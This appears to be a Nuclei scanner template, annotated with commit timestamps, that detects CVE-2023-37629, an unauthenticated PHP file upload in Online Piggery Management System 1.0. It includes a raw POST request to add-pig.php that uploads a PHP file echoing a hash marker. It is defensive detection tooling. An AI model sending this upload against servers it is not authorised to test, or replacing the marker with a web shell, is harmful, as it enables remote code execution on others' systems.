2023-08-29 17:47:46 +00:00
id : CVE-2023-37629
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
info :
2023-09-12 07:20:58 +00:00
name : Online Piggery Management System v1.0 - Unauthenticated File Upload
2023-08-30 04:19:07 +00:00
author : Harsh
2023-08-29 17:47:46 +00:00
severity : critical
description : |
Online Piggery Management System 1.0 is vulnerable to File Upload. An unauthenticated user can upload a php file by sending a POST request to add-pig.php.
reference :
- https://www.exploit-db.com/exploits/51598
- https://nvd.nist.gov/vuln/detail/CVE-2023-37629
2023-10-14 11:27:55 +00:00
- https://www.sourcecodester.com/php/11814/online-pig-management-system-basic-free-version.html
2023-08-30 02:54:05 +00:00
classification :
2023-08-29 17:47:46 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
cve-id : CVE-2023-37629
cwe-id : CWE-434
2023-10-14 11:27:55 +00:00
epss-score : 0.13691
2023-11-09 06:04:52 +00:00
epss-percentile : 0.95046
2023-10-14 11:27:55 +00:00
cpe : cpe:2.3:a:simple_online_piggery_management_system_project:simple_online_piggery_management_system:1.0:*:*:*:*:*:*:*
2023-08-29 17:47:46 +00:00
metadata :
verified : true
2023-10-14 11:27:55 +00:00
max-request : 1
vendor : simple_online_piggery_management_system_project
product : simple_online_piggery_management_system
2023-09-15 17:09:22 +00:00
tags : cve,cve2023,fileupload,rce,opms,intrusive
2023-08-29 17:47:46 +00:00
http :
- raw :
- |
POST /pig/add-pig.php HTTP/1.1
Host : {{Hostname}}
Content-Type : multipart/form-data; boundary=---------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-12 07:20:58 +00:00
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="pigno"
pig-fms-100
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="weight"
65465
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="arrived"
2023-09-15 17:09:22 +00:00
{{date_time("%Y-%M-%D")}}
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="gender"
female
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="status"
active
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="breed"
2
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="remark"
4fwefwe
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
2023-09-15 17:09:22 +00:00
Content-Disposition : form-data; name="pigphoto"; filename="{{rand_base(5)}}".php"
2023-08-29 17:47:46 +00:00
Content-Type : application/x-php
2023-09-15 17:09:22 +00:00
<?php echo md5('CVE-2023-37629'); ?>
2023-08-29 17:47:46 +00:00
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP
Content-Disposition : form-data; name="submit"
-----------------------------WebKitFormBoundary20kgW2hEKYaeF5iP--
matchers :
- type : dsl
dsl :
- 'status_code == 302'
- 'contains(content_type, "text/html")'
- 'contains(body, "successfully created")'
condition : and
2023-11-09 10:11:53 +00:00
# digest: 4a0a0047304502205e268f040a14b8297f11fdcf0949650cba9764e46f3be45a214ca29406192f24022100cd1827eda7ab5df2d90791ac00fce61654645eadf0a8604e9ba522f8af263936:922c64590222798bb761d5b6d8e72950